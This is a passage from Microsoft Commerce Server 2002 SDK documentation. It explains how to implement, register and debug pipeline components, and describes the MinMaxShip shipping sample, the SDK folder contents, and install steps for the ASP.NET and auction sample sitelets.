All pipeline components must implement the IPipelineComponent interface. This interface is defined as follows:

// IPipelineComponent

STDMETHOD (Execute) (
    IDispatch*  pdispOrder,
    IDispatch*  pdispContext,
    LONG        lFlags,
    LONG*       plErrorLevel);

STDMETHOD (EnableDesign) (BOOL fEnable);

When the pipeline creates an instance of a component, it requests an interface pointer on the IPipelineComponent interface of the component, and then uses that pointer to call the Execute method of the component. The pipeline passes the component an IDispatch interface pointer on the OrderForm object being passed through the pipeline, and an IDispatch interface pointer on the pipe context of the site. The pipe context is a Dictionary object that contains references to various contextual pieces of information for the site, such as connection strings and cache references.

The IPipelineComponent interface is among the interfaces for which the ATL Pipeline Component Wizard adds method definitions and implementation stubs when you add an object to your project. To implement the IPipelineComponent::Execute method for your component, open the .cpp file, and modify the default implementation provided by the ATL Pipeline Component Wizard.

See Also

Deciding Which Interface to Expose

Enhancing Component Usability

Registering the ATL Component

Active Template Library

MinMaxShip Sample Pipeline Component


Registering the ATL Component

Pipeline component registration involves identifying the component as a pipeline component, identifying the stage or stages with which the component has an affinity, and optionally registering its name, threading model, and also optionally registering the component as poolable.

A globally unique identifier (GUID) identifies each stage in the pipeline. GUIDs are defined in the Pipe_stages.h file, which you include in the implementation file in which you are registering a component.

To identify the stage or stages with which a component has an affinity, you write the class ID of the new component to the \HKEY_CLASSES_ROOT\CLSID\component_classid\implemented categories\stage_clsid registry key within the Microsoft Windows NT Registry, where stage_class_id is the GUID of the stage with which the component will have an affinity, and where component_class_id is the class ID of the component itself.

The code with which you register your component should be invoked in the DLLRegisterServer routine that is created for you when you create the component project in Microsoft Visual C++.

The ATL Pipeline Component Wizard creates a skeleton DllRegisterServer routine for the component housing. Although this will register the component, several more keys need to be added to the registry so that the Pipeline Editor displays the component properly.

The Pipeline Editor looks under the Implemented Keys category in the registry to see if the object is a pipeline component and, if so, which stages it may appear in. The function RegisterCATID, provided in the Computil.cpp file, makes this registration easier. In addition, the name displayed for the component comes from the AuxUserType\2 key for the component. The RegisterName function handles this registration. The following is the complete DllRegisterServer routine:

STDAPI DllRegisterServer(void)
{
    HRESULT hr = S_OK;

    hr = _Module.RegisterServer(TRUE);

    if(FAILED(hr)) return hr;

// Register the component as a pipeline component.
    hr = RegisterCATID(CLSID_MyPipelineComponent,
                       CATID_MSCSPIPELINE_COMPONENT);

    if(FAILED(hr)) return hr;

// Register the component for stage affinity.
    hr = RegisterCATID(CLSID_MyPipelineComponent,
                       CATID_MSCSPIPELINE_SHIPPING);

// Optionally register the component as poolable.
    hr = RegisterCATID(CLSID_MyPipelineComponent,
                       CATID_MSCSPIPELINE_POOLABLE);

    if(FAILED(hr)) return hr;

// Optionally register the name of the component.
    if(FAILED(hr)) return hr;

    hr = RegisterName(CLSID_MyPipelineComponent,L"MinMax.MinMaxShipping");
    if(FAILED(hr)) return hr;

    return hr;

}

See the Pipe_stages.h file for the constants for other pipeline stages and features.

See Also

Deciding Which Interface to Expose

Enhancing Component Usability

Implementing the IPipelineComponent Interface

Active Template Library

MinMaxShip Sample Pipeline Component


Error Levels

Pipeline components return one of the following values:

  • 1 = OPPERRORLEV_SUCCESS
  • 2 = OPPERRORLEV_WARN
  • 3 = OPPERRORLEV_FAIL

The pipeline keeps track of the highest error value returned by a previously executed component in the pipeline. Attached to each stage in the pipeline is an attribute that indicates the maximum error level the component will tolerate. If the current pipeline error level is less than or equal to the maximum error level for the stage, the next component in the pipeline can run the IPipelineComponent::Execute method. If the maximum error level for the stage is less than the current error level for the pipeline, the remaining components in the stage are skipped and the action is logged.

Error levels are checked upon entrance to stages to improve the user experience. For example, a user has completed the shipping stage, the tax stage, and the payment stage, and has entered incorrect information, causing level 3 errors in any or all of these stages. Instead of prompting the user with a shopper warning after each stage, the user can be presented with just one error before the processing of the credit card in the accept stage. This is because, when the level 3 errors are encountered by the accept stage, which has a maximum error level of 2, it prompts the user with a shopper warning indicating all the errors at one time.

See Also

Error Handling in Pipelines

Debugging Pipeline Components

Error Handling


Debugging Pipeline Components

This section contains a few tips to aid in debugging custom pipeline components. This section contains:

  • Debugging Scriptor Pipeline Components
  • Debugging Visual Basic Pipeline Components
  • Debugging Visual Basic .NET and C# Pipeline Components

Note

  • Like all debug settings, these setting should be removed before production.

Debugging Scriptor Pipeline Components

Ensure that HKEY_USERS\*\Software\Microsoft\Windows Script\Setting\JITDebug is set to 1.

Setting the key under HKEY_CURRENTUSER will fail because the script engine is being hosted by the pipeline component, which is running under IIS and is typically running under a different account than that of the user currently logged on to the computer.

Debugging Visual Basic Pipeline Components

Ensure that the Visual Basic debugger process (VB.exe) and the process hosting the pipeline component (inetinfo.exe or dllhost.exe) are running under the same user account. This enables VB.exe to intercept the Visual Basic pipeline component calls and debug them. The simplest way to accomplish this is to change the IIS anonymous user impersonation account to that of the currently logged on user.

Debugging Visual Basic .NET and C# Pipeline Components

If the Visual Basic .NET or C# pipeline component is installed in the Global Assembly Cache (GAC), and is therefore strongly signed, then running the Register Assembly Utility (regasm.exe) will register the component. If the pipeline component is not installed in the GAC, you need to add the registration value for "codebase=<full-path>" under the component's class ID. This registration value is written automatically when the project is built from Visual Studio .NET. However, when you copy that DLL to another box, when you deploy it for instance, and run the regasm.exe utility on it, regasm.exe does not register it, and therefore the creation of that pipeline component fails.

See Also

MinMaxShip Sample Pipeline Component


MinMaxShip Sample Pipeline Component

The purpose of the MinMaxShip sample is to demonstrate interaction with the Order Processing pipeline (OPP) as a pipeline component, as well as to demonstrate the new shipping component architecture in Microsoft Commerce Server 2002. By updating a custom Commerce Server Business Desk module, called Shipping Method, the MinMaxShip sample can be quickly added to an existing Commerce Server site for use in the shipping stage of an OPP.

This section contains:

  • Design
  • How to Use the MinMaxShip Sample


Design

The MinMaxShip object is a Component Object Model (COM) object that exposes a set of COM interfaces to the Order Processing pipeline (OPP).

The MinMaxShip sample object, which is included in the Microsoft Commerce Server 2002 Software Development Kit (SDK), calculates the shipping total for all "shipments to process" in an order by taking the sum of the list prices for the items in a shipment, multiplying it by a percentage, and comparing the product to some specified minimum. The larger number in this comparison is then stored in the _shipping_total key for the shipment.

All shipping components, except the Splitter component, should be registered with the ShippingMethodRouter pipeline component. The Splitter component should be configured from the Pipeline Editor and the code. The remaining components should be configured from the Commerce Server Business Desk Shipping Method module.

See Also

How to Use the MinMaxShip Sample


How to Use the MinMaxShip Sample

The MinMaxShip sample can be found in the MinMaxShip directory of the Order Processing samples directory. For example, C:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\MinMaxShip. In the MinMaxShip directory, the Visual Basic code is in the folder named VB, and the C++ code is in the folder named ATL.

To build the Visual Basic sample

To build the Visual C++ ATL sample

To build the C# sample

To run the MinMaxShip sample

To build the Visual Basic sample

  1. Click Start, point to Programs, point to Microsoft Visual Studio, and then click Microsoft Visual Basic.
  2. On the File menu, click Open, and then navigate to the directory that contains the MinMaxShipVB.vbp file. For example, C:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\MinMaxShip\VB. Select the MinMaxShipVB.vbp file.
  3. On the File menu, click Make MinMaxShipVB.dll.
  4. After the project has been built, on the File menu, click Exit.

The Visual Basic MinMaxShip sample is now built on your computer.

To build the Visual C++ ATL sample

  1. Click Start, point to Programs, point to Microsoft Visual Studio, and then click Microsoft Visual C++.
  2. On the File menu, click Open, and then navigate to the directory that contains the MinMaxShip.dsw file. For example, C:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\MinMaxShip\ATL. Select the MinMaxShip.dsw file.
  3. On the Build menu, click Build MinMaxShip.dll.
  4. After the project has been built, on the File menu, click Save Workspace.
  5. To close the program, on the File menu, click Exit.

The ATL MinMaxShip sample is now built on your computer.

To build the C# sample

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. On the Start page, click Open Project, and then navigate to the directory that contains the Commerce.csproj file. For example, C:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Order Processing\MinMaxShip. Select the Commerce.csproj file, and then click Open.
  3. On the Build menu, click Build Solution.
  4. In the Save File As dialog box, accept the default settings, and then click Save.
  5. On the File menu, click Close Solution, and then click Exit.
  6. On the Start menu, point to Accessories, and then click Windows Explorer.
  7. Navigate to the folder C:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Order Processing\MinMaxShip\CSharp\bin\Debug. Right-click CSSDKSample.dll, and then click Properties.
  8. In the CSSDKSample.dll Properties dialog box, select the Security tab, and then click the Add button.
  9. On the Look In menu, select the local computer name.
  10. In the Name column, select IUSR_ComputerName, click Add, and then click OK.
  11. Ensure that Read and Read & Execute are selected for the Internet Guest Account, and then click OK.

    The C# MinMaxShip sample is now built on your computer.

Running the Sample

To the MinMaxShip samples, you must first install one of the Microsoft Commerce Server 2002 Solution Sites. After you have installed one of these sites, go to the directory containing the Commerce Server Business Desk files, and perform the following procedure.

Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

To run the MinMaxShip sample

  1. Copy the file MinMax_edit.asp from the BizDesk directory in the MinMaxShip directory to the Shipping directory in Business Desk on the installed site. For example, copy MinMax_edit.asp from C:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\MinMaxShip\BizDesk to C:\InetPub\wwwroot\RetailBizDesk\Shipping.
  2. Copy the file Shipping_methods.xml from the Business Desk directory in the MinMaxShip directory to the Config directory in Business Desk on the installed site. For example, copy Shipping_methods.xml from C:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\MinMaxShip\BizDesk to C:\InetPub\wwwroot\RetailBizDesk\Config.
  3. If you are running the Visual Basic sample, you must open the file MinMax_edit.asp, and change the following line of code:
    g_sProgID = "commerce.minmaxshipatl.1"

    to

    g_sProgID = "commerce.MinmaxShipVB".

    Or, if you are running the C# sample, you must open the file MinMax_edit.asp, and change the following line of code:

    g_sProgID = "commerce.minmaxshipatl.1"

    to

    g_sProgID = "Commerce.MinMaxShipCSharp".

    Note

    • This step is not required for the Visual C++ ATL sample.

After the custom Shipping Method module is updated, you can use it to configure new shipment methods of the type "MinMaxShip."

See Also

Design


Software Development Kit

The Microsoft Commerce Server 2002 Software Development Kit (SDK) includes extensive samples and tools to help developers get started programming with Commerce Server. When installed, all of the files composing the Commerce Server 2002 SDK are in a folder called "SDK" under the "Microsoft Commerce Server" folder. This topic describes the structure and contents of the SDK folder.

Notes

  • You must include the following components of the Platform SDK to build the samples in the Commerce Server 2002 SDK (choose at least these options on the Custom Installation screen of the Platform SDK installation program):

    Configuration Options (all)

    Build Environment

    Base Services (all)

    Component Services

    COM

    Data Access Services

    OLE DB

    SQL Server

    Management Services

    Microsoft Management Console

    Minimum Build Tools

    Networking and Directory Services

    Active Directory Services Interface

    Web Services

    Microsoft Internet Explorer

    Microsoft Internet Information Server

    Win32 API

    You may also want to install the following debugging tools at the same time:

    Debugging Tools

    WinDbg

    SQL Profiler

    OEM Support Tools

    UserDump

  • In addition to installing the Platform SDK, you must also update your system include path to contain the Commerce Server 2002 SDK Include folder, and update your Microsoft Visual C++ directory options to contain the Commerce Server 2002 SDK Include folder.

    Note that the installation of the Platform SDK should have added the path settings that it requires to the user INCLUDE and LIB environment variables:

    • INCLUDE: <Platform SDK folder>\Include
    • INCLUDE: <Platform SDK folder>\Include\ATL30
    • LIB: <Platform SDK folder>\Lib

To update your user INCLUDE environment variable

To update Microsoft Visual C++

To update your user INCLUDE environment variable

  1. Right-click My Computer, and then click Properties.
  2. In the System Properties dialog box, on the Advanced tab, click Environment Variables.
  3. In the Environment Variables dialog box, select the variable INCLUDE from the User variables for <username> box, and then click Edit.
  4. In the Edit User Variable dialog box, append the path to the Commerce Server 2002 SDK Include directory to the value in the Variable Value box. For example, C:\Program Files\Microsoft Commerce Server\SDK\Include.
  5. To exit all three dialog boxes, click OK three times.

To update Microsoft Visual C++

  1. Open Microsoft Visual C++.
  2. On the Tools menu, click Options.
  3. In the Options dialog box, on the Directories tab, verify that the Include files option in the Show directories for box is selected.
  4. Click New, and then type the path to the Commerce Server 2002 SDK Include directory. For example, C:\Program Files\Microsoft Commerce Server\SDK\Include.
  5. Click OK.

This section contains:

  • Include Files. Describes the files contained in the Include folder.
  • Tools Folder. Explains how to use the SDK tools.
  • Samples Folder. Explains how to use the SDK samples and sitelets.


Include Files

Location in SDK: SDK\Include

The Include folder contains numerous C++ header (.h extension) and Interface Definition Language (.idl extension) files that are of general use when using Commerce Server COM objects from C++, and examining the details of interface definitions, respectively.

Many of the header files are referenced in the C++ version of the reference topic for the corresponding object.


Tools Folder

The Tools folder contains a number of different tools, divided into the following subfolders:

  • Registration Tool Folder
  • Ad Server folder and the Membership folder
  • ATL Pipe Wizard Folder and the VB Pipe Wizard Folder


Registration Tool Folder

Location in SDK: SDK\Tools\Registration Tool

The files in this folder constitute the source files of a tool that helps you register pipeline components for stage affinity. It allows you to register the pipeline component on the computer on which the tool is being run, and it allows you to export the data to a registry script (.reg extension) for deployment to other servers.

For more information about the pipeline component registration tool, see Using the Pipeline Component Registration Tool.


Membership Folder

Location in SDK: SDK\Tools\SSCE Migration\Membership

The files in this folder constitute the source files of a tool that allows you to migrate user profiles from a Microsoft Site Server 3.0 Commerce Edition (SSCE) Membership Directory into a Microsoft Commerce Server 2002 user profile store.

For more information about migrating user profiles from Site Server 3.0 Web sites to Commerce Server 2002 Web sites, see Migrating the Membership Directory.


Ad Server Folder

Location in SDK: SDK\Tools\SSCE Migration\Ad Server

The file Adservermigration.exe in the Ad Server subfolder is a tool that allows you to migrate campaigns from Site Server 3.0 Ad Server to the Commerce Server 2002 Content Selection Framework.

Run the tool on the command line, passing the following parameters:

1: /cs30:"Connection string to the Site Server 3.0 Commerce Edition AdServer database"
2: /cs2000:"Connection string to the Commerce Server 2002 Campaign database"
3: /exprstore:"Connection string to the Commerce Server 2002 Expression store database"
4: [/silent]   (Note that this parameter is optional)

For example:

adservermigration.exe \
/cs30:"Provider=SQLOLEDB;Data Source=Commerce30servername;Initial Catalog=Commerce30DatabaseName;Integrated Security=’SSPI’" \
/cs2000:"Provider=SQLOLEDB;Data Source=Commerce2000servername;Initial Catalog=MarketingSystemDatabaseName;Integrated Security=’SSPI’" \
/exprstore:"Provider=SQLOLEDB;Data Source=Commerce2000servername;Initial Catalog=ExpressionStoreDatabaseName;Integrated Security=’SSPI’"


ATL Pipe Wizard Folder

Location in SDK: SDK\Tools\Visual Studio 6\ATL Pipe Wizard

The files in this folder constitute the source files of a tool that allows you to install a new wizard in your Microsoft Visual C++ 6.0 installation. This wizard automates the creation of Commerce Server pipeline components by creating the object definition and implementation files containing function prototypes for the interfaces required to implement a fully functional pipeline component.

In addition, this wizard creates a property page for your pipeline component. You can add controls to this property page through which users can set component properties.

You must build the ATL Pipeline Component Wizard before installing it.

For more information about using the ATL Pipeline Component Wizard, see Creating Pipeline Components Using the Active Template Library (ATL).


VB Pipe Wizard Folder

Location in SDK: SDK\Tools\Visual Studio 6\VB Pipe Wizard

The files in this folder constitute the source files of a tool that allows you to install a new wizard in your Microsoft Visual Basic 6.0 installation. This wizard automates the creation of Commerce Server pipeline components by creating the object definition and implementation files containing function prototypes for the interfaces required to implement a fully functional pipeline component.

In addition, this wizard creates a property page for your pipeline component. You can add controls to this property page through which users can set component properties.

You must build the Visual Basic Pipeline Component Wizard before installing it.

Once built, register the file PipelineCompWizard.dll. Registering this DLL will cause a new project item to be installed into your Visual Basic installation. After you register the DLL, open Visual Basic, and, on the menu, click New and then click Project. The VB Pipeline Component Wizard is available in the list of available projects.

For more information about the Visual Basic Pipeline Component Wizard, see Creating Pipeline Components Using Visual Basic.


Samples Folder

The Samples folder contains a number of different samples, divided into categories.

This section contains:

  • ASP.NET Samples
  • Auction Samples
  • Business Desk Samples
  • Classic ASP Samples
  • Order Processing Samples
  • Privacy Samples
  • Site Management Samples
  • Site Creation Samples
  • Targeting Samples


ASP.NET Samples

The Microsoft Commerce Server 2002 Software Development Kit (SDK) contains six sample sites to demonstrate the functionality of the Commerce Server .NET Application Framework.

This section contains:

  • ASP.NET-Based Advertising Sitelet
  • ASP.NET-Based Catalog Sitelet
  • ASP.NET-Based Order Sitelet
  • ASP.NET-Based Profile Sitelet
  • Catalog Web Service
  • International Retail Site

See Also

Debugging Pipeline Components

MinMaxShip Sample Pipeline Component


ASP.NET-Based Advertising Sitelet

Location in SDK: SDK\Samples\ASPNET\Ad Sitelet

The primary goal of the Advertising Sitelet is to demonstrate the use and behavior of the components that work together to display advertisements in a Commerce Server site. In this sitelet, you will view a demonstration of targeted advertisements for hard-coded profile data to learn and understand how the ContentSelector object works. The profile data for this sitelet is stored in the site SQL Server database; this database is populated by Commerce Server Site Packager during the sitelet installation process.

The Advertising Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. Using the sitelet, you can create and display ads using the Campaign Manager module, and you can manage ad targeting based on profiles in your Profiles database. No modification to the source code is required to deploy the Advertising Sitelet to a server running Commerce Server 2002.

Similar functionality to that found in the ASP.NET-Based Advertising Sitelet can be found in the ASP-Based Advertising Sitelet. For more information, see ASP-Based Advertising Sitelet.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

ASP.NET-Based Advertising Sitelet Code Notes

Installing the ASP.NET-Based Advertising Sitelet

ASP.NET-Based Advertising Sitelet Code Notes

This sitelet demonstrates multilingual functionality. The following languages are supported: English, French, German, and Japanese. The ASP.NET sitelets set the language character sets in the Page_Init functions of several ASPX pages using code such as the following:

strLanguage = coll[Utility.languageLabel];
try {SelectedCulture = CultureInfo.CreateSpecificCulture(strLanguage);}
catch(Exception e) {
SelectedCulture = CultureInfo.CreateSpecificCulture(Utility.englishLanguage);
strLanguage = Utility.englishLanguage;
}

Installing the ASP.NET-Based Advertising Sitelet

You unpack the Advertising Sitelet using Commerce Server Site Packager. The package file for the ASP version of the Advertising Sitelet is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Ad Sitelet\SDK-ADSITELET-ASPNET.PUP

Use the following procedure to install the Advertising Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP.NET-based Advertising Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the ASP.NET-Based Advertising Sitelet

  1. In Windows Explorer, navigate to the <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Ad Sitelet directory.
  2. Click the SDK-ADSITELET-ASPNET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, type the SQL Server login name and password, and then click Next.
  5. In the Profiling System screen, accept the defaults, and then click Next.
  6. In the second Profiling System screen, accept the defaults, and then click OK.
  7. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  8. In Internet Explorer, in the Address box, type HTTP: //<c omputer name>/netAdSitelet to open the sitelet.

See Also

ASP.NET-Based Catalog Sitelet

ASP.NET-Based Order Sitelet

ASP.NET-Based Profile Sitelet

Catalog Web Service

International Retail Site

Example code for the Microsoft.CommerceServer.Runtime.Targeting Namespace


ASP.NET-Based Catalog Sitelet

Location in SDK: SDK\Samples\ASPNET\Catalog Sitelet

The primary goal of the Catalog Sitelet is to demonstrate how to use the Catalog object model to browse and search a product catalog, providing you with a functional example of the catalog API in action.

The Catalog Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. You can deploy the sitelet to a server running Commerce Server 2002 without the need for code modifications. After the Catalog Sitelet has been deployed, you can use it to browse and search a sample catalog.

The Catalog Sitelet demonstrates the two query mechanisms supported by the Catalog object model, and also demonstrates using the Catalog object model to provide catalog browsing functionality.

Similar functionality to that found in the ASP.NET-Based Catalog Sitelet can be found in the ASP-Based Catalog Sitelet. For more information, see ASP-Based Catalog Sitelet.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

ASP.NET-Based Catalog Sitelet Code Notes

Installing the ASP.NET-Based Catalog Sitelet

ASP.NET-Based Catalog Sitelet Code Notes

This sitelet demonstrates multilingual functionality. The following languages are supported: English, French, German, and Japanese. The sitelets set the language character sets in the Page_Init functions of several ASPX pages using code such as the following:

strLanguage = coll[Utility.languageLabel];
try {SelectedCulture = CultureInfo.CreateSpecificCulture(strLanguage);}
catch(Exception e) {
SelectedCulture = CultureInfo.CreateSpecificCulture(Utility.englishLanguage);
strLanguage = Utility.englishLanguage;
}

Installing the ASP.NET-Based Catalog Sitelet

You unpack the Catalog Sitelet using Commerce Server Site Packager. The package file for the ASP version of the Catalog Sitelet is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Catalog Sitelet\SDK-CATALOGSITELET-ASPNET.PUP

Use the following procedure to install the Catalog Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP.NET-based Catalog Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the ASP.NET-Based Catalog Sitelet

  1. In Windows Explorer, navigate to the <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Catalog Sitelet directory.
  2. Click the SDK-CATALOGSITELET-ASPNET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Profiling System screen, accept the defaults, and then click Next.
  6. In the second Profiling System screen, accept the defaults, and then click OK.
  7. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  8. In Internet Explorer, in the Address box, type HTTP: //<c omputer name>/netCatalogSitelet to open the sitelet.

See Also

ASP.NET-Based Advertising Sitelet

ASP.NET-Based Order Sitelet

ASP.NET-Based Profile Sitelet

Catalog Web Service

International Retail Site

Example code for the Microsoft.CommerceServer.Runtime.Catalog Namespace


ASP.NET-Based Order Sitelet

Location in SDK: SDK\Samples\ASPNET\Order Sitelet

The primary goal of the Order Sitelet is to demonstrate how to allow users to create an order, and then confirm and view the status of that order. For more information on order queuing, see Order Queuing SDK Sample or search the Commerce Server 2002 Help files for "order queuing.”

The Order Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. No modification of the source code is required to deploy the Order Sitelet to a server running Commerce Server 2002.

Similar functionality to that found in the ASP.NET-Based Order Sitelet can be found in the ASP-Based Order Sitelet. For more information, see ASP-Based Order Sitelet.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

ASP.NET-Based Order Sitelet Code Notes

Installing the ASP.NET-Based Order Sitelet

ASP.NET-Based Order Sitelet Code Notes

This sitelet demonstrates multilingual functionality. The following languages are supported: English, French, German, and Japanese. The sitelet sets the language character set in the Page_Init function in several ASPX pages using code such as the following:

_language = Request.QueryString["language"];
try {
     Thread.CurrentThread.CurrentCulture =
            CultureInfo.CreateSpecificCulture(_language);
     Thread.CurrentThread.CurrentUICulture =
            Thread.CurrentThread.CurrentCulture;
     }
catch (ArgumentException e)
     {
     _language = "en-US";
     Thread.CurrentThread.CurrentCulture =
            CultureInfo.CreateSpecificCulture(_language);
     Thread.CurrentThread.CurrentUICulture =
            Thread.CurrentThread.CurrentCulture;
     }

Installing the ASP.NET-Based Order Sitelet

You unpack the Order Sitelet using Commerce Server Site Packager. The package file for the ASP version of the Order Sitelet is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Order Sitelet\SDK-ORDERSITELET-ASPNET.PUP

Use the following procedure to install the Order Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP.NET-based Order Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the Order Sitelet

  1. In Windows Explorer, navigate to the <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Order Sitelet directory.
  2. Double-click the SDK-ORDERSITELET-ASPNET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Profiling System screen, accept the defaults, and then click Next.
  6. In the second Profiling System screen, accept the defaults, and then click OK.
  7. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  8. In Internet Explorer, in the Address box, type HTTP: //<c omputer name>/netOrderSitelet to run the sitelet.

See Also

ASP.NET-Based Advertising Sitelet

ASP.NET-Based Catalog Sitelet

ASP.NET-Based Profile Sitelet

Catalog Web Service

International Retail Site

Example code for the Microsoft.CommerceServer.Runtime.Orders Namespace


ASP.NET-Based Profile Sitelet

Location in SDK: SDK\Samples\ASPNET\Profile Sitelet

The primary goal of the Profile Sitelet is to demonstrate through code how to use the Profiling System in Commerce Server 2002 to create user profiles, set user profile attributes, and to read user profile data using the Profiling System objects.

The Profile Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. Using the sitelet, you can create and modify user profiles, using the AuthManager, Profile, and ProfileService objects. No modification to the code is required to deploy the Profile Sitelet to a server running Commerce Server 2002.

This sitelet demonstrates multilingual functionality. The following languages are supported: English, French, German, and Japanese.

Similar functionality to that found in the ASP.NET-Based Profile Sitelet can be found in the ASP-Based Profile Sitelet. For more information, see ASP-Based Profile Sitelet.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

Installing the ASP.NET-Based Profile Sitelet

Installing the ASP.NET-Based Profile Sitelet

You unpack the Profile Sitelet using Commerce Server Site Packager. The package file for the ASP version of the Profile Sitelet is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Profile Sitelet\SDK-PROFILESITELET-ASPNET.PUP

Use the following procedure to install the Profile Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP.NET-based Profile Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the ASP.NET-Based Profile Sitelet

  1. In Windows Explorer, navigate to the <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Profile Sitelet directory.
  2. Click the SDK-PROFILESITELET-ASPNET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Profiling System screen, accept the defaults, and then click Next.
  6. In the second Profiling System screen, accept the defaults, and then click OK.
  7. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  8. In Internet Explorer, in the Address box, type HTTP: //<c omputer name>/netProfileSitelet to run the sitelet.

See Also

ASP.NET-Based Advertising Sitelet

ASP.NET-Based Catalog Sitelet

ASP.NET-Based Order Sitelet

Catalog Web Service

International Retail Site

Example code for the Microsoft.CommerceServer.Runtime.Profiles Namespace


Catalog Web Service

Location in SDK: SDK\Samples\ASPNET\Catalog Web Service

The code in this sample shows how to use a Web service to navigate a catalog hierarchy.

See Also

Example code for the Microsoft.CommerceServer.Runtime Namespace

Example code for the Microsoft.CommerceServer.Runtime.Catalog Namespace

Example code for the Microsoft.CommerceServer.Runtime.Configuration Namespace

Example code for the Microsoft.CommerceServer.Runtime.Orders Namespace

Example code for the Microsoft.CommerceServer.Runtime.Pipelines Namespace

Example code for the Microsoft.CommerceServer.Runtime.Profiles Namespace

Example code for the Microsoft.CommerceServer.Runtime.Targeting Namespace


Auction Samples

The Microsoft Commerce Server 2002 Software Development Kit (SDK) contains two samples to demonstrate how auctions can be used with Commerce Server 2002. The following is a list of auction samples provided in the SDK:

  • Auction Component
  • Auction Sitelet


Auction Component

Location in SDK: SDK\Samples\Auction\Component

This directory contains the source code for the sample Auction component.

For more information about the Auction object, see Auction Object.


Auction Sitelet

Location in SDK: SDK\Samples\Auction

The primary goal of the Auction Sitelet is to demonstrate through code how to use the Auction component to implement Winning Bid auctions. It includes a custom Commerce Server Business Desk module, Auction, designed for managing auctions.

The Auction Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. No modification to the code is required to deploy the Auction Sitelet to a server running Commerce Server 2002.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

Installing the Auction Sitelet

You unpack the Auction Sitelet using Commerce Server Site Packager. The package file is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Auction\SDK-AUCTION-SITELET.PUP

Unpacking the Auction Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

Use the following procedures to install the Auction Sitelet on one computer using the Quick mode in Site Packager.

To unpack the Auction Sitelet

To add a blank Business Desk to the Auction Sitelet

To add the Auction Module to Business Desk

To create an auction

To bid on an auction item

To view bid history in Business Desk

To unpack the Auction Sitelet

  1. In Windows Explorer, navigate to the <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Auction directory.
  2. Double-click the SDK-AUCTION-SITELET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Profiling System screen, accept the defaults, and then click Next.
  6. In the second Profiling System screen, accept the defaults, and then click OK.
  7. In the Unpacking is complete screen, review the list of SQL databases and Internet Information Services (IIS) applications that were created. To review the list of events that occurred while Site Packager was running, click View Log File.
  8. To close Site Packager, click Finish.

To add a blank Business Desk to the Auction Sitelet

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, on the Tree tab, expand Commerce Server Manager, expand Commerce Sites, and then expand Auction Sitelet.
  3. Right-click Applications, point to New, and then click Add Application.
  4. In the Add Application From dialog box, select Blank.pup, and then click Open.
  5. In the Select Applications dialog box, in the Applications in the package box, clear the BlankSite option. Only the BlankBizDesk site option should be selected.
  6. Click Next.
  7. In the Select IIS Web Sites and Virtual Directories dialog box, do the following:
    Use this | To do this
